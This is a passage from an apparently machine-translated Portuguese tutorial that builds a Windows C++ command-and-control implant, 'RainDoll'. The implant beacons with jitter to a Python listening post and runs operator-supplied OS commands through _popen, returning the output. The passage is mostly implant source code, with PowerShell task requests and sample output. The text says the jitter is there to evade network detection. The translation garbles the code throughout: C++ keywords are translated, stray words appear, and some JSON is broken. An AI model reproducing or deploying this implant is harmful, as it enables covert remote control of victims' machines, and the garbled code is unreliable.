// Faz um loop e percorre as tarefas recebidas do posto de escuta e, em seguida, atende-as
void Implant::serviceTasks() {
while (isRunning) {
// Variável de tarefas locais
std::vector<Task> localTasks;
// Bloqueio com escopo para executar uma troca
{
std::scoped_lock<std::mutex> taskLock{ taskMutex };
tarefas.swap(localTasks);
}
// Loop for baseado em intervalo para chamar o método run() em cada tarefa e adicionar os resultados das tarefas
para (const auto& task: localTasks) {
// Chame run() em cada tarefa e receberemos os valores de volta para id, conteúdo e sucesso
const auto [id, conteúdo, sucesso] = std::visit([](const auto& task) {return task.run(); }, task);
// Bloqueio com escopo para adicionar resultados da tarefa
{
std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
results.add(boost::uuids::to_string(id) + ".contents", content);
results.add(boost::uuids::to_string(id) + ".success", sucesso);
}
}
// Vai dormir
std::this_thread::sleep_for(std::chrono::seconds{ 1 });
}
}
Começamos com um loop while que é executado com base no estado do sinalizador booleano "isRunning" definido em nosso objeto de configuração de implantação. Em seguida, declaramos uma variável de vetor local para manter nossas tarefas. Depois disso, temos um bloqueio de escopo e acessamos o objeto que contém as tarefas que recebemos do post do listener e as colocamos em nossa variável "localTasks". Novamente, estamos usando o bloqueio de escopo porque estamos executando essas Ações de forma assíncrona e não queremos pisar nos botões de outro encadeamento. Por fim, usamos um loop para passar por cada tarefa e chamar o método "start" declarado. Colocamos os valores retornados "id"", "conteúdo"" e "sucesso" nas variáveis apropriadas. em seguida, introduzimos um bloqueio de escopo para chamar "results.add()". função e salve os resultados de nosso status de tarefa/sucesso. Em seguida, dizemos ao thread para dormir por 1 segundo.

Agora podemos juntar tudo e falar sobre a função "beacon" que executa o loop while:

C++: Copiar para área de transferência
// Método para iniciar o beaconing para o posto de escuta
void Implant::beacon() {
while (isRunning) {
// Tenta entrar em contato com o posto de escuta e enviar resultados/recuperar tarefas
// Então, se as tarefas foram recebidas, analise e armazene eles para execução
// As tarefas armazenadas serão atendidas pelo encadeamento de tarefas de forma assíncrona
try {
std::cout << "RainDoll está enviando resultados para o post de escuta...\n" << std::endl;
const auto serverResponse = sendResults();
std::cout << "\nListening post response content: " << serverResponse << std::endl;
std::cout << "\nAnalisando tarefas recebidas..." << std::endl;
parseTasks(servidorResposta);
std::cout << "

catch (const std::exception& e) {
printf("\nErro de sinalização: %s\n", e.what());
}
// Suspender por um período definido com jitter e beacon novamente mais tarde
const auto sleepTimeDouble =habitarDistributionSeconds(device);
const auto sleepTimeChrono = std::chrono::seconds{ static_cast<unsigned long long>(sleepTimeDouble) };

std::this_thread::sleep_for(sleepTimeChrono);
}
}
O loop que vemos no código acima é executado com base no valor da variável "isRunning". Ele tentará entrar em contato com a postagem de escuta enviando qualquer resultado de tarefa (ou uma carga JSON vazia se não houver resultados). Em seguida, ele analisará as tarefas recebidas do post de escuta dentro da variável "serverResponse". O encadeamento "serviceTasks" executado de forma assíncrona executará cada tarefa depois que elas foram perdidas e salvas. Por fim, dormimos por algum tempo para não enviarmos solicitação com muita regularidade e parecemos menos suspeitos no tráfego de rede.

O último bloco menor de código é o construtor Implant:

C++: Copiar para área de transferência
// Initialize variables for our object
Implant::Implant(std::string host, std::string port, std::string uri) :
// Listening post endpoint URL arguments
host{ std::move(host) },
port{ std::move(port) },
uri{ std::move(uri) },
// Options for configuration settings
isRunning{ true },
dwellDistributionSeconds{ 1. },
// Thread that runs all our tasks, performs asynchronous I/O
taskThread{ std::async(std::launch::async, [this] { serviceTasks(); }) } {
}
O bloco de código acima é relativamente simples: movemos os argumentos de URL do ponto final do listener do usuário para variáveis e definimos os parâmetros iniciais para a configuração do implante. Por fim, iniciamos um thread de tarefa que executará a função "serviceTasks" e, na verdade, executará todo o código de nossa tarefa.

Código de resultados A

parte de resultados da tarefa do código será bastante curta, vá em frente e crie um arquivo results.cpp no diretório de origem. O conteúdo será o seguinte.

C++: Copiar para área de transferência
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif

#include "results.h"


// Objeto de resultado retornado por todas as tarefas
// Inclui o ID da tarefa, conteúdo do resultado e status de sucesso (true/false)
Result::Result(const boost::uuids ) ::uuid& id,
std::string content,
const bool success)
: id(id), content{ std::move(conteúdo) }, success(success) {}
Como você pode ver, simplesmente declaramos um objeto Result que instancia o ID, o conteúdo do resultado e o status de sucesso da tarefa. Isso é tudo com a Seção de resultados, vamos passar para a próxima parte do nosso implante, para as próprias tarefas!

Código da Tarefa


Agora que vimos a lógica e os resultados da implantação, agora precisamos determinar o que cada uma das tarefas faz quando solicitado por um operador do posto de escuta. Nosso código de tarefa finalizado será gerado em um arquivo denominado tasks.cpp no diretório de arquivos de origem. Abordaremos cada seção em detalhes, então não se preocupe em entender tudo de imediato:

C++: Copiar para área de transferência
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif

#include "tasks.h"

#include <string>
#include <array>
#include <sstream>
#include <fstream>
#include <cstdlib>

#include <boost/uuid/uuid_io.hpp >
#include <boost/property_tree/ptree.hpp>

#include <Windows.h>
#include <tlhelp32.h>


// Função para analisar as tarefas da árvore de propriedade retornada pelo posto de escuta
// Executa cada tarefa de acordo com o chave especificada (por exemplo, tem task_type de "ping"? Execute o PingTask)
[[nodiscard]] Tarefa parseTaskFrom(const boost::property_tree::ptree& taskTree,
std::function<void(const Configuration&)> setter) {
// Obtenha o tipo de tarefa e identificador, declare nossas variáveis
const auto taskType = taskTree.get_child("task_type").get_value<std::string>();
const auto idString = taskTree.get_child("task_id").get_value<std::string>();
std::stringstream idStringStream{ idString };
boost::uuids::uuid id{};
idStringStream >> id;

// Condicionais para determinar qual tarefa deve ser executada com base na chave fornecida
// LEMBRE-SE: Qualquer nova tarefa deve ser adicionada à verificação condicional, juntamente com os valores arg
// ============= ==== ================================================= ==== ==========================
if (taskType == PingTask::key) {
return PingTask{
id
};
}
if (taskType == ConfigureTask::key) {
return ConfigureTask{
id,
taskTree.get_child("dwell").get_value<double>(),
taskTree.get_child("running").get_value<bool>(),
std: :move(configurador)
};
}

// ==================================================== == ==============================================

// Nenhuma condicional correspondida, portanto, um tipo de tarefa indefinido deve ter sido fornecido e apresentamos um erro
std::string errorMsg{ "Tipo de tarefa ilegal encontrado: " };
errorMsg.append(taskType);
lance std::logic_error{ errorMsg };
}

// Instancia a configuração do implante
Configuration::Configuration(const double meanDwell, const bool isRunning)
: meanDwell(meanDwell), isRunning(isRunning) {}


// Tarefas
// ==================================== ==== ================================================= ==== ========

// PingTask
// --------------------------------- ---- ---------------------------------------------- ------------------ ----
PingTask::pingTask(const boost::uuids::uuid& id)
: id{ id } {}

Resultado PingTask::run( ) const {
const auto pingResult = "PONG!";
return Result{ id, pingResult, true };
}


// ConfigureTask
// ------------------------------------------ -- ---------------------------------------------
ConfigureTask:: ConfigureTask( const boost::uuids::uuid& id,
double meanDwell,
bool isRunning,
std::function<void(const Configuration&)> setter)
: id{ id },
meanDwell{ meanDwell },
isRunning{ isRunning },
setter{ std::move(setter) } {}

Resultado ConfigureTask::run() const {
// Configurador de chamada para definir a configuração do implante, tempo médio de permanência e status de execução
setter(Configuration{ meanDwell, isRunning });
return Result{ id, "Configuração bem-sucedida!", true };
}

// ==================================================== == =================================================
A Seção que devemos focar primeiro é o bloco que lida com a análise de tarefas e a chamada do retorno dos objetos de tarefa correspondente:

C++: Copiar para área de transferência
// Função para analisar as tarefas da árvore de propriedades retornadas pelo posto de escuta
// Executa cada tarefa de acordo com a chave especificada (por exemplo, obteve task_type de "ping"? Execute o PingTask)
[[nodiscard]] Task parseTaskFrom(const boost: :property_tree::ptree& taskTree,
std::function<void(const Configuration&)> setter) {
// Obtenha o tipo de tarefa e identificador, declare nossas variáveis
const auto taskType = taskTree.get_child("task_type").get_value<std: :corda>();
const auto idString = taskTree.get_child("task_id").get_value<std::string>();
std::stringstream idStringStream{ idString };
boost::uuids::uuid id{};
idStringStream >> id;


// LEMBRE-SE: Quaisquer novas tarefas devem ser adicionadas à verificação condicional, juntamente com os valores arg
// =========================== ==== ================================================= ====== ==========
if (taskType == PingTask::key) {
return PingTask{
id
};
}
if (taskType == ConfigureTask::key) {
return ConfigureTask{
id,
taskTree.get_child("dwell").get_value<double>(),
taskTree.get_child("running").get_value<bool>(),
std ::move(configurador)
};
}

// ==================================================== == ==============================================

// Nenhum condicional correspondido, portanto, um tipo de tarefa indefinido deve ter sido fornecido e apresentamos um erro
std::string errorMsg{ "Encontrado tipo de tarefa ilegal: " };
errorMsg.append(taskType);
lance std::logic_error{ errorMsg };
}
A função "parseTaskFrom" começa acessando a árvore de tarefas supervisionada pelo usuário e, em seguida, definindo o tipo de tarefa apropriada e as variáveis de ID da tarefa. Lembre-se de que a árvore de tarefas recebidas é uma mensagem JSON recebida do posto de escuta e é ela que conterá as tarefas solicitadas do operador. Em seguida, verificamos qual tarefa precisamos executar executando alguma lógica condicional. Assim, se a variável para "taskType" tiver um valor igual à chave da tarefa Ping, retornamos um objeto Ping task e o método "run" associado contendo o código da tarefa será chamado.

precisamos declarar essa lógica condicional para cada tipo de tarefa que adicionamos. A boa notícia é que o código será o mesmo para todas as tarefas. A única coisa a ter em mente é que, se quisermos passar algum parâmetro para uma tarefa, devemos declarar esses parâmetros no código da tarefa. Para a tarefa Ping, não precisamos passar nenhum parâmetro. Mas para a tarefa Configurar, precisaremos passar uma variável para o limite de tempo, estado de execução e função de configuração. Por fim, temos uma mensagem de erro que emitimos se nada corresponder.

A próxima seção que veremos é o código real para cada tarefa, atualmente apenas Ping e Configure. Adicionamos tarefas adicionais depois de testarmos o código de dinheiro atual implantado garantidor que tudo funcione conforme o esperado:

C++: Copiar para área de transferência
// Tarefas
// ================================================ ==== =================================================

// PingTask
/ / --------------------------------------------- ---- ------------------------------------------
PingTask::pingTask (const boost: :uuids::uuid& id)
: id{ id } {}

Result PingTask::run() const {
const auto pingResult = "PONG!";
return Result{ id, pingResult, true };
}

// ConfigureTask
// ------------------------------------------ -- ---------------------------------------------
// Instancia o implante configuração
Configuration::Configuration(const double meanDwell, const bool isRunning)
: meanDwell(meanDwell), isRunning(isRunning) {}

ConfigureTask::ConfigureTask(const boost::uuids::uuid& id,
double meanDwell,
bool isRunning,
std::function<void(const Configuration&)> setter)
: id{ id },
meanDwell{ meanDwell },
isRunning{ isRunning },
setter{ std::move(setter) } {}

Result ConfigureTask::run() const {
// Chama setter para definir a configuração do implante, tempo médio de permanência e status de execução
setter(Configuration{ meanDwell, isRunning });
return Result{ id, "Configuração bem-sucedida!", true };
}

// ==================================================== == =================================================
A tarefa Ping começa definindo um construtor que simplesmente instancia a variável "id". A seguir estão as Ações que a tarefa executará como parte do método "executar". No caso do Ping, tudo o que ele fará é definir uma variável chamada "pingResult" com o texto "PONG!". Em seguida, ele retornará um objeto Result com um ID de resultado, o conteúdo da variável pingResult e um status de sucesso "true". Então, o que devemos ver é que o operador pode solicitar uma tarefa Ping do posto de escuta e o camel responder implantado com "PONG!" nenhum conteúdo do resultado.

A tarefa Configurar é um pouco mais complexa, mas ainda segue o mesmo padrão geral da tarefa Ping. Primeiro, precisamos de um objeto Configuration, então declaramos um construtor que instanciará a latência média e as variáveis de estado atual. Em seguida, temos um construtor de objeto de tarefa Configurar que instanciará o tempo limite médio, o estado de execução e a função de configuração. O método Configurar "executar" chamará o instalador para determinar o tempo médio de atraso e o status de execução para a configuração do implante. Em seguida, ele retorna um objeto Result com um identificador de resultado, uma string "Configuração bem-sucedida!" nenhum conteúdo do resultado e nenhum status de sucesso "verdadeiro".

Isso é tudo para o nosso código de implantado! Acho que estamos prontos para testar a execução das tarefas Ping e Configure para garantir que tudo funcione corretamente.

No teste ele implantou o

Comece criando um Projeto de implantado para plataformas x64 e verifique se ele está livre de erros. Se você precisar de uma cópia do Projeto, poderá encontrá-la em uma pastelaria chamada "capítulo 3-2". Inicie o post de escuta do Skytree indo para a pasta "Skytree" e executando python listening_post.py. Depois de iniciado, vá para http://127.0.0.1:5000/tasks e você verá uma matriz vazia. Abra a pasta de saída da construção do implante e execute
"RainDoll.exe" na linha de comando. Você deve começar a ver algumas mensagens como as seguintes:

C++: Copiar para área de transferência
RainDoll está enviando resultados para a postagem de escuta...

Corpo da solicitação: {}

Conteúdo da resposta da postagem de escuta: []

Tarefas de análise recebidas...
Se você ver isso painma, está pronto para começar a enviar algumas tarefas para o implantado. Faça uma solicitação POST "AddTasks", que ficará assim:

C++: Copiar para área de transferência
POST /tasks HTTP/1.1
Host: localhost:5000
Content-Type: application/json

[
{
"task_type":"ping"
},
{
"task_type":"configure",
"dwell":"10",
"running": "verdadeiro"
}
]
Você pode executar a seguinte cópia e colar o seguinte comando do Powershell para enviar a solicitação acima:

C++: Copiar para área de transferência
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Content-Type", "application/json")

$body = "[`n {` n `"task_type`":`"ping`"`n },`n {`n `"task_type`":`"configure`",`n `"dwell`":`"10`",`n ` "running`":`"true`"`n }`n]"

$resposta = Invoke-RestMethod 'http://localhost:5000/tasks' -Método 'POST' -Headers $headers -Body $body
$resposta | ConvertTo-Json

A resposta do post de escuta camel é algo como isto:

C++: Copiar para área de transferência
[
{
"_id": {
"$oid": "5f6d79f0534c41989c1e8db0"
},
"task_id": "66e66e4a-06d0-40d9-8e5c-50d6ac55b640",
"task_type": "ping"
},
{
"_id": {
"$ oid": "5f6d79f0534c41989c1e8db2"
},
"task_id": "b0ae0445-8168-48e2-ac84-2a1635a28877",
"task_type": "configure",
"dwell": "10",
"running": "true"
}
]
Agora você camel veja o seguinte na saída do implante na linha de comando:

C++: Copiar para área de transferência
====================================================

RainDoll está enviando resultados para a postagem de escuta...

Corpo da solicitação: {}

Ouvindo o conteúdo da resposta da postagem: [{"_id": {"$oid": "5f6d79f0534c41989c1e8db0"}, "task_id": "66e66e4a-06d0-40d9-8e5c- 50d6ac55b640" , "task_type": "ping"}, {"_id": {"$oid": "5f6d79f0534c41989c1e8db2"}, "task_id": "b0ae0445-8168-48e2-ac84-2a1635a28877", "task_type": "configurar ", "dwell": "10", "running": "true"}]

Tarefas de análise recebidas...

========================= ==== =====================

RainDoll está enviando resultados para o post de escuta...

Corpo da solicitação: {"66e66e4a-06d0-40d9-8e5c-50d6ac55b640":{"contents":"PONG!","success":"true"},"b0ae0445-8168-48e2-ac84-2a1635a28877":{"contents":"Configuração bem-sucedida !","sucesso":"verdadeiro"}}

Ouvindo o conteúdo da resposta da postagem: []

Tarefas de análise recebidas...

===================================== =============
Navegue até o endpoint "ListResults" ( http://127.0.0.1:5000/results ) e você deve obter isto:

C++: Copiar para área de transferência
[
{
"_id": {
"$oid": "5f6d7ad7534c41989c1e8db9"
},
"result_id": "e6e56ba0-a677-4a22-88e5-81ece606ff9d", "8baee355-91a3-4a69-a708-6c491314s "
: {a93e "success": "true" }, "9738db31-fffd-42ca-9f82-8e74125dd263": { "contents": "PONG!", "success": "true" } } ]








Você notará que os resultados incluem a ID da tarefa, o conteúdo do resultado e um status de sucesso "true" para ambas as tarefas solicitadas. Assim, concluímos com sucesso todo o processo de solicitação de tarefa de ponta a ponta de nosso posto de escuta, executando nossas tarefas no implantadas e vendo os resultados!

A última coisa que veremos neste capítulo é como adicionar novas tarefas ao código existente. Usaremos esse conhecimento para criar uma tarefa para executar comandos do Sistema operacional e uma tarefa para obter uma lista de threads. Isso complementará nosso básico implantado e servirá como uma base de código sólido para seguir em frente.

Adicionando novas implantadas nas tarefas

A primeira coisa que precisamos fazer quando queremos adicionar novas tarefas é abrir o arquivo de cabecalho tasks.h. Adicionaremos configurações para nossa tarefa Execute e List Threads (com base no exemplo de documentos da Microsoft https://docs.microsoft.com/en-us/windows/win32/toolhelp/traversing-the-thread-list ) e também faremos algumas pequenas alterações na variante para que fique assim:

C++: Copiar para área de transferência
#pragma once

#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING

#include "results.h"

#include <variant>
#include <string>
#include <string_view>

#include <boost/uuid/uuid.hpp>
#include <boost/property_treepp/


// Definir implante configuração
struct Configuração {
Configuração (double meanDwell, bool isRunning);
const double meanDwell;
const bool está em execução;
};


// Tarefas
// ================================================ ==== =================================================

// PingTask
/ / --------------------------------------------- ---- ------------------------------------------
struct PingTask {
PingTask(const boost::uuids::uuid& id);
constexpr static std::string_view key{ "ping" };
[[nodiscard]] Resultado run() const;
const boost::uuids::uuid id;
};


// ConfigureTask
// --------------------------------------------- ----------------------------------------------
struct ConfigureTask {
ConfigureTask (const boost::uuids::uuid& id,
double meanDwell,
bool isRunning,
std::function<void(const Configuration&)> setter);
constexpr static std::string_view key{ "configurar" };
[[nodiscard]] Resultado run() const;
const boost::uuids::uuid id;
private:
std::function<void(const Configuration&)> setter;
const double meanDwell;
const bool está em execução;
};


// ExecuteTask
// --------------------------------------------- ----------------------------------------------
struct ExecuteTask {
ExecuteTask (const boost::uuids::uuid& id, std::string comando);
constexpr static std::string_view key{ "execute" };
[[nodiscard]] Resultado run() const;
const boost::uuids::uuid id;

privado:
const std::string comando;
};


// ListThreadsTask
// --------------------------------------------- ----------------------------------------------
struct ListThreadsTask {
ListThreadsTask (const boost::uuids::uuid& id, std::string processId);
constexpr static std::string_view key{ "list-threads" };
[[nodiscard]] Resultado run() const;
const boost::uuids::uuid id;
privado:
const std::string processId;
};

// ================================================ == ===========================================

// LEMBRE -SE : Quaisquer novas tarefas devem ser adicionadas aqui também!
using Task = std::variant<PingTask, ConfigureTask, ExecuteTask, ListThreadsTask>;

[[nodiscard]] Tarefa parseTaskFrom(const boost::property_tree::ptree& taskTree,
std::function<void(const Configuration&)> setter);
Vamos dar uma sensação nas novas configurações de tarefas que maravilhamos de adicionar:

C++: Copiar para área de transferência
// ExecuteTask
// --------------------------------------------- ----------------------------------------------
struct ExecuteTask {
ExecuteTask (const boost::uuids::uuid& id, std::string comando);
constexpr static std::string_view key{ "execute" };
[[nodiscard]] Resultado run() const;
const boost::uuids::uuid id;

privado:
const std::string comando;
};


// ListThreadsTask
// --------------------------------------------- ----------------------------------------------
struct ListThreadsTask {
ListThreadsTask (const boost::uuids::uuid& id, std::string processId);
constexpr static std::string_view key{ "list-threads" };
[[nodiscard]] Resultado run() const;
const boost::uuids::uuid id;
privado:
const std::string processId;
};
Dê como você pode, o esquema geral é o seguinte: escrevemos um construtor e depois declaramos uma chave para a tarefa. Este é o valor de texto que enviaremos do post do ouvinte para indicar a tarefa que queremos executar, e é isso que escrevemos na solicitação "AddTask". Para a tarefa "Executar", a chave será "executar" e para listar threads, a chave será "lista de threads". Em seguida, especificamos que temos um método "run" com um atributo "[[nodiscard]]" porque não esperamos uma situação em que não fazemos nada com o valor de retorno. Finalmente, temos a variável ID e uma seleção para variáveis privadas específicas para tarefas individuais. Para Executar, este é o comando do SO que queremos executar e para Listar Threads, este é o ID do processo para o qual queremos listar os threads.

última coisa,

// LEMBRE-SE: Quaisquer novas tarefas deem ser adicionadas aqui também!
using Task = std::variant<PingTask, ConfigureTask, ExecuteTask, ListThreadsTask>;


Você pode ver que adicionamos "ExecuteTask" e "ListThreadsTask" a esta opção. Você deve lembrar que quaisquer novas tarefas também devem ser incluídas aqui.

Agora estamos prontos para passar para o arquivo tasks.cpp onde adicionaremos o código real para nossas novas tarefas. Quando terminarmos, o camelo ficará assim:

C++: Copiar para área de transferência
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif

#include "tasks.h"

#include <string>
#include <array>
#include <sstream>
#include <fstream>
#include <cstdlib>

#include <boost/uuid/uuid_io.hpp >
#include <boost/property_tree/ptree.hpp>

#include <Windows.h>
#include <tlhelp32.h>


// Função para analisar as tarefas da árvore de propriedade retornada pelo posto de escuta
// Executa cada tarefa de acordo com o chave especificada (por exemplo, tem task_type de "ping"? Execute o PingTask)
[[nodiscard]] Tarefa parseTaskFrom(const boost::property_tree::ptree& taskTree,
std::function<void(const Configuration&)> setter) {
// Obtenha o tipo de tarefa e identificador, declare nossas variáveis
const auto taskType = taskTree.get_child("task_type").get_value<std::string>();
const auto idString = taskTree.get_child("task_id").get_value<std::string>();
std::stringstream idStringStream{ idString };
boost::uuids::uuid id{};
idStringStream >> id;

// Condicionais para determinar qual tarefa deve ser executada com base na chave fornecida
// LEMBRE-SE: Qualquer nova tarefa deve ser adicionada à verificação condicional, juntamente com os valores arg
// ============= ==== ================================================= ==== ==========================
if (taskType == PingTask::key) {
return PingTask{
id
};
}
if (taskType == ConfigureTask::key) {
return ConfigureTask{
id,
taskTree.get_child("dwell").get_value<double>(),
taskTree.get_child("running").get_value<bool>(),
std: :move(configurador)
};
}
if (taskType == ExecuteTask::key) {
return ExecuteTask{
id,
taskTree.get_child("command").get_value<std::string>()
};
}
if (taskType == ListThreadsTask::key) {
return ListThreadsTask{
id,
taskTree.get_child("procid").get_value<std::string>()
};
}

// ==================================================== == =================================================

// Nenhuma condicional encontrada, então um tipo de tarefa indefinido deve ter sido fornecido e nós
erramos std::string errorMsg{ "Tipo de tarefa ilegal encontrado: " };
errorMsg.append(taskType);
lance std::logic_error{ errorMsg };
}

// Tarefas
// ================================================= ==== ================================================= =

// PingTask
// -------------------------------------------- ---- -------------------------------------------
PingTask:: PingTask(const boost ::uuids::uuid& id)
: id{ id } {}

Result PingTask::run() const {
const auto pingResult = "PONG!";
return Result{ id, pingResult, true };
}

// ConfigurarTask
// ------------------------------------------------ -------------------------------------------
// Instancia a configuração do implante
Configuration ::Configuration(const double meanDwell, const bool isRunning)
: meanDwell(meanDwell), isRunning(isRunning) {}

ConfigureTask::ConfigureTask(const boost::uuids::uuid& id,
double meanDwell,
bool isRunning,
std::function< void(const Configuration&)> setter)
: id{ id },
meanDwell{ meanDwell },
isRunning{ isRunning },
setter{ std::move(setter) } {}

Resultado ConfigureTask::run() const {
// Chame o setter para definir a configuração do implante, o tempo médio de permanência e o definidor do status de execução
(Configuration{ meanDwell, isRunning });
return Result{ id, "Configuração bem-sucedida!", true };
}

// ExecuteTask
// ------------------------------------------ -- ---------------------------------------------
ExecuteTask:: ExecuteTask( const boost::uuids::uuid& id, std::string command)
: id{ id },
command{ std::move(command) } {}

Result ExecuteTask::run() const {
std::string result ;
tente {
std::array<char, 128> buffer{};
std::unique_ptr<FILE, decltype(&_pclose)> pipe{
_popen(command.c_str(), "r"),
_pclose
};
if (!pipe)
throw std::runtime_error("Falha ao abrir pipe.");
while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
resultado += buffer.data();
}
return Resultado{ id, std::move(resultado), verdadeiro };
}
catch (const std::exception& e) {
return Result{ id, e.what(), false };
}
}

// ListThreadsTask
// ------------------------------------------- ------------------------------------------------
ListThreadsTask: :ListThreadsTask(const boost::uuids::uuid& id, std::string processId)
: id{ id },
processId{ processId } {}

Resultado ListThreadsTask::run() const {
try {
std::stringstream threadList;
auto ownerProcessId{ 0 };

// O usuário deseja listar as threads no processo atual
if (processId == "-") {
ownerProcessId = GetCurrentProcessId();
}
// Se o ID do processo não estiver em branco, tente usá-lo para listar os encadeamentos no processo
else if (processId != "") {
ownerProcessId = stoi(processId);
}
// Algum ID de processo inválido foi fornecido, lança um erro
else {
return Result{ id, "Erro! Falha ao manipular o ID de processo fornecido.", false };
}

HANDLE threadSnap = INVALID_HANDLE_VALUE;
THREADENTRY32 te32;

// Tira um instantâneo de todos os threads em execução
threadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (threadSnap == INVALID_HANDLE_VALUE)
return Result{ id, "Erro! Não foi possível obter um instantâneo de todos os threads em execução.", false };

// Preencha o tamanho da estrutura antes de usá-la.
te32.dwSize = sizeof(THREADENTRY32);

// Recupera informações sobre o primeiro encadeamento,
// e sai se malsucedido
if (!Thread32First(threadSnap, &te32))
{
CloseHandle(threadSnap); // Deve limpar o objeto instantâneo!
return Result{ id, "Erro! Não foi possível recuperar informações sobre o primeiro thread.", false };
}

// Agora percorra a lista de encadeamentos do sistema,
// e exiba informações sobre cada encadeamento
// associado ao processo especificado
do
{
if (te32.th32OwnerProcessID == ownerProcessId)
{
// Adicione todos os IDs de encadeamento a um fluxo de sequência
threadList << "ID DO TÓPICO = " << te32.th32ID do Tópico << "\n";
}
} while (Thread32Next(threadSnap, &te32));

// Não se esqueça de limpar o objeto instantâneo.
CloseHandle(threadSnap);
// Retorna o fluxo de sequência de IDs de thread
return Result{ id, threadList.str(), true };
}
catch (const std::exception& e) {
return Result{ id, e.what(), false };
}
}

// ================================================= ==== ================================================= =
Vamos começar com o código para nossa nova tarefa Execute:

C++: Copiar para área de transferência
// ExecuteTask
// --------------------------------------------- ----------------------------------------------
ExecuteTask::ExecuteTask (const boost::uuids::uuid& id, std::string command)
: id{ id },
command{ std::move(command) } {}

Result ExecuteTask::run() const {
std::string result;
tente {
std::array<char, 128> buffer{};
std::unique_ptr<FILE, decltype(&_pclose)> pipe{
_popen(command.c_str(), "r"),
_pclose
};
if (!pipe)
throw std::runtime_error("Falha ao abrir pipe.");
while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
resultado += buffer.data();
}
return Resultado{ id, std::move(resultado),
}
catch (const std::exception& e) {
return Result{ id, e.what(), false };
}
}
Usamos o mesmo padrão das tarefas anteriores e começamos definindo um construtor Execute com uma variável "command" especificada, porque queremos passar um valor da linha de comando para esta tarefa. Para o método run, declaramos uma variável "resultado" e então tentamos executar o comando. fazendo isso declarando um buffer, obtendo um ponteiro para um pipe no qual passamos a linha de comando para "_popen()" e então chamando "_pclose()". Se não conseguirmos obter o ponteiro para o canal, lançaremos um erro. Caso contrário, iniciamos um loop while que lê os resultados do comando em nosso buffer. Armazenamos o buffer na variável "resultado" e passamos para o objeto "Resultado", que retorna para a função de chamada.

Vamos seguir o mesmo padrão e adicionar List Threads à nossa última tarefa (código-fonte obtido na página do Microsoft Docs aqui https://docs.microsoft.com/en-us/windows/win32/toolhelp/traversing-the-thread- lista ):

C++: Copiar para área de transferência
// ListThreadsTask
// --------------------------------------------- ----------------------------------------------
ListThreadsTask::ListThreadsTask (const boost::uuids::uuid& id, std::string processId)
: id{ id },
processId{ processId } {}

Result ListThreadsTask::run() const {
try {
std::stringstream threadList;
auto ownerProcessId{ 0 };

// O usuário deseja listar as threads no processo atual
if (processId == "-") {
ownerProcessId = GetCurrentProcessId();
}
// Se o ID do processo não estiver em branco, tente usá-lo para listar os encadeamentos no processo
else if (processId != "") {
ownerProcessId = stoi(processId);
}
// Algum ID de processo inválido foi fornecido, lança um erro
else {
return Result{ id, "Erro! Falha ao manipular o ID de processo fornecido.", false };
}

HANDLE threadSnap = INVALID_HANDLE_VALUE;
THREADENTRY32 te32;

// Tira um instantâneo de todos os threads em execução
threadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (threadSnap == INVALID_HANDLE_VALUE)
return Result{ id, "Erro! Não foi possível obter um instantâneo de todos os threads em execução.", false };

// Preencha o tamanho da estrutura antes de usá-la.
te32.dwSize = sizeof(THREADENTRY32);

// Recupera informações sobre o primeiro encadeamento,
// e sai se malsucedido
if (!Thread32First(threadSnap, &te32))
{
CloseHandle(threadSnap); // Deve limpar o objeto instantâneo!
return Result{ id, "Erro! Não foi possível recuperar informações sobre o primeiro thread.", false };
}

// Agora percorra a lista de encadeamentos do sistema,
// e exiba informações sobre cada encadeamento
// associado ao processo especificado
do
{
if (te32.th32OwnerProcessID == ownerProcessId)
{
// Adicione todos os IDs de encadeamento a um fluxo de sequência
threadList << "ID DO TÓPICO = " << te32.th32ID do Tópico << "\n";
}
} while (Thread32Next(threadSnap, &te32));

// Não se esqueça de limpar o objeto instantâneo.
CloseHandle(threadSnap);
// Retorna o fluxo de string de IDs de thread
return Result{ id, threadList.str(), true };
}
catch (const std::exception& e) {
return Result{ id, e.what(), false };
}
}
Usamos o mesmo código no construtor para os threads da lista como em Execute, exceto que passamos uma variável de ID de processo em vez de uma variável de comando. No método "run" para List Threads, temos uma variável para armazenar nossa lista de threads e dizemos que se "-" for recebido como id do processo, então devemos retornar as threads no processo em que o implante está sendo executado " com a função GetCurrentProcessId". Caso contrário, armazenamos o ID do processo solicitado em uma variável. Em seguida, tiramos um instantâneo de todos os encadeamentos em execução e examinamos cada encadeamento na lista para localizar aqueles que têm o mesmo ID de processo proprietário conforme fornecido. Sempre que obtemos uma correspondência, adicionamos uma string no formato "THREAD ID =" à lista, seguido pelo ID do encadeamento e um caractere de nova linha. Quando a lista de carregamento termina, o loop termina e fechamos o identificador de instantâneo. Por fim, retornamos um objeto Result que contém um ID, uma lista de threads que correspondem ao ID do processo que demos ao implantado e um status de sucesso verdadeiro.

A última eleição que adicionamos para novas tarefas ao arquivo é para verificação condicional.


C++: Copiar para área de transferência
// Condicionais para determinar qual tarefa deve ser executada com base na chave fornecida
// LEMBRE-SE: Qualquer nova tarefa deve ser adicionada à verificação condicional, juntamente com os valores arg
// ============= ==== ================================================= ==== ==========================
if (taskType == PingTask::key) {
return PingTask{
id
};
}
if (taskType == ConfigureTask::key) {
return ConfigureTask{
id,
taskTree.get_child("dwell").get_value<double>(),
taskTree.get_child("running").get_value<bool>(),
std ::move(configurador)
};
}
if (taskType == ExecuteTask::key) {
return ExecuteTask{
id,
taskTree.get_child("comando").get_value<std::string>()
};
}
if (taskType == ListThreadsTask::key) {
return ListThreadsTask{
id,
taskTree.get_child("procid").get_value<std::string>()
};
}
Você verá que em ConfigureTask adicionamos verificações condicionais para a chave de tarefa Execute e a chave de tarefa List Threads. Passamos a variável de linha de comando como "command" para executar uma variável de id do processo como "procid" para threads da lista.

Este é todo o código que precisamos adicionar para novas tarefas. Se você deseja integrar mais tarefas, pode seguir esse padrão geral. Agora é hora de experimentar tarefas essenciais recém-adicionadas!

Test drive de novas tarefas

